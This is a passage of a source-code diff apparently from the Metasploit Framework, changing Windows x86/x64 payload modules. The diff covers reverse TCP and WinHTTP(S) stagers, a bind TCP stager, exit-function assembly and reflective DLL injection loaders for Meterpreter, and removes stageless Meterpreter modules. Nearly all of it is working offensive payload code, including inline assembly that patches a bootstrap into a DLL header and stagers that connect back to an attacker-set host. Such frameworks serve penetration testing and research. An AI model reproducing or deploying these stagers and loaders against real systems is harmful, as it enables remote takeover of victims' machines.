unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
@ -17,15 +18,9 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
|
@ -52,6 +47,9 @@ module Payload::Windows::ReverseWinHttp
|
|||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -371,6 +369,8 @@ module Payload::Windows::ReverseWinHttp
|
|||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
xor edi, edi ; clear EDI, so we don't mislead meterpreter into
|
||||
; thinking it has a valid socket to play with
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
|
|
|
@ -1,8 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -16,6 +18,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
|
@ -82,6 +85,10 @@ module Payload::Windows::ReverseWinHttps
|
|||
generate_reverse_winhttps(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
|
|
@ -1,121 +0,0 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x86
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
push ebx ; push the pointer to the extension list
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_x86(url = nil)
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -14,36 +15,33 @@ module Msf
|
|||
|
||||
module Payload::Windows::BindTcp_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -66,21 +64,17 @@ module Payload::Windows::BindTcp_x64
|
|||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# TODO: this is coming soon
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
#space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 11 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -94,7 +88,6 @@ module Payload::Windows::BindTcp_x64
|
|||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -150,23 +143,11 @@ module Payload::Windows::BindTcp_x64
|
|||
mov rcx, rdi ; listening socket
|
||||
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call rbp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
; perform the call to closesocket...
|
||||
mov rcx, rdi ; the listening socket to close
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call rbp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
|
||||
|
||||
|
|
|
@ -40,14 +40,14 @@ module Payload::Windows::Exitfunk_x64
|
|||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl short goodbye ; Then just call the exit function...
|
||||
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl exitfunk_goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
||||
; Windows Vista, 2008 or 7...
|
||||
jne short goodbye ;
|
||||
jne exitfunk_goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ;
|
||||
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; call EXITFUNK( 0 );
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X86_64 payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::MeterpreterLoader_x64
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf', 'OJ Reeves' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
|
||||
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
^
|
||||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
; store the comms socket handle
|
||||
mov dword ptr [rbx], edi
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
mov r8, rbx ; r8 points to the extension list
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -30,10 +30,7 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => {
|
||||
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
|
||||
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
|
||||
|
@ -43,52 +40,60 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
datastore['DLL']
|
||||
end
|
||||
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
mov r8, rdi ; r8 contains the socket
|
||||
mov rbx, rax ; save DllMain for another call
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; push 5, indicate that we have detached
|
||||
pop rdx ; pop 5 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
|
||||
|
||||
bootstrap = "\x4D\x5A" + # pop r10 ; pop r10 = 'MZ'
|
||||
"\x41\x52" + # push r10 ; push r10 back
|
||||
"\x55" + # push rbp ; save ebp
|
||||
"\x48\x89\xE5" + # mov rbp, rsp ; setup fresh stack frame
|
||||
"\x48\x81\xEC\x20\x00\x00\x00" + # sub rsp, 32 ; alloc some space for calls
|
||||
"\x48\x8D\x1D\xEA\xFF\xFF\xFF" + # lea rbx, [rel+0] ; get virtual address for the start of this stub
|
||||
"\x48\x81\xC3" + [offset].pack( "V" ) + # add rbx, 0x???????? ; add offset to ReflectiveLoader
|
||||
"\xFF\xD3" + # call rbx ; call ReflectiveLoader()
|
||||
"\x48\x89\xC3" + # mov rbx, rax ; save DllMain for second call
|
||||
"\x49\x89\xF8" + # mov r8, rdi ; R8 = our socket
|
||||
"\x68\x04\x00\x00\x00" + # push 4 ;
|
||||
"\x5A" + # pop rdx ; RDX = signal we have attached
|
||||
"\xFF\xD0" + # call rax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
|
||||
"\x41\xB8" + exit_funk + # mov r8d, 0x???????? ; our EXITFUNC placeholder
|
||||
"\x68\x05\x00\x00\x00" + # push 5 ;
|
||||
"\x5A" + # pop rdx ; signal we have detached
|
||||
"\xFF\xD3" # call rbx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
|
||||
# the DOS headers e_lfanew entry will begin here at offset 64.
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" )
|
||||
return
|
||||
end
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
|
@ -14,6 +15,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseTcp_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
@ -29,24 +31,19 @@ module Payload::Windows::ReverseTcp_x64
|
|||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# TODO: coming later
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
#if self.available_space.nil? || required_space > self.available_space
|
||||
# return generate_reverse_tcp(
|
||||
# port: datastore['LPORT'],
|
||||
# host: datastore['LHOST'],
|
||||
# retry_count: datastore['ReverseConnectRetries'],
|
||||
# )
|
||||
#end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -66,6 +63,10 @@ module Payload::Windows::ReverseTcp_x64
|
|||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
@ -92,8 +93,9 @@ module Payload::Windows::ReverseTcp_x64
|
|||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
# TODO: reliable = opts[:reliable]
|
||||
# TODO: reliability coming later
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
|
|
|
@ -1,121 +0,0 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x64
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov r8, rbx ; r8 points to the extension list
|
||||
mov rbx, rax ; save DllMain for another call
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; push 5, indicate that we have detached
|
||||
pop rdx ; pop 5 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_x64(url = nil)
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -668,7 +668,7 @@ class Db
|
|||
columns = [host.address] + col_names.map { |n| service[n].to_s || "" }
|
||||
tbl << columns
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
|
||||
|
@ -790,6 +790,7 @@ class Db
|
|||
# Same for service names
|
||||
next unless svcs.empty? or svcs.include?(vuln.service.name)
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
|
||||
else
|
||||
# This vuln has no service, so it can't match
|
||||
next unless ports.empty? and svcs.empty?
|
||||
|
@ -1318,7 +1319,7 @@ class Db
|
|||
host = note.host
|
||||
msg << " host=#{note.host.address}"
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,3 +1,2 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/payloads/win32'
|
||||
require 'rex/payloads/meterpreter'
|
||||
|
|
|
@ -1,2 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
